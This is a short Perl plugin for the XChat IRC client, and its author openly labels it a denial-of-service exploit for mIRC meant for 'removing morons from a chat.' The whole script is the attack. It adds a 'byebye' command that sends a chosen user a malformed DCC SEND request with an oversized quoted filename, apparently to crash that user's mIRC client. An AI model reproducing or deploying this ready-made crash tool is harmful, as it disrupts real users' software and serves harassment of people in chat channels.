#!/usr/bin/perl -w
# by L0stm4n <lostman[at]liquidcode.org
# DoS for mirc packaged in a nice xchat script
# Useful for removing morons from a chat

IRC::register("mirc exploit", "1.0", "", "");
IRC::print("\0034mirc exploit loaded \003");
IRC::add_command_handler("byebye", "killem");

sub killem {
	$killee = shift(@_);
	IRC::send_raw("PRIVMSG $killee :\01DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a\" 1079095848 666\01");
	return 1;
}
0;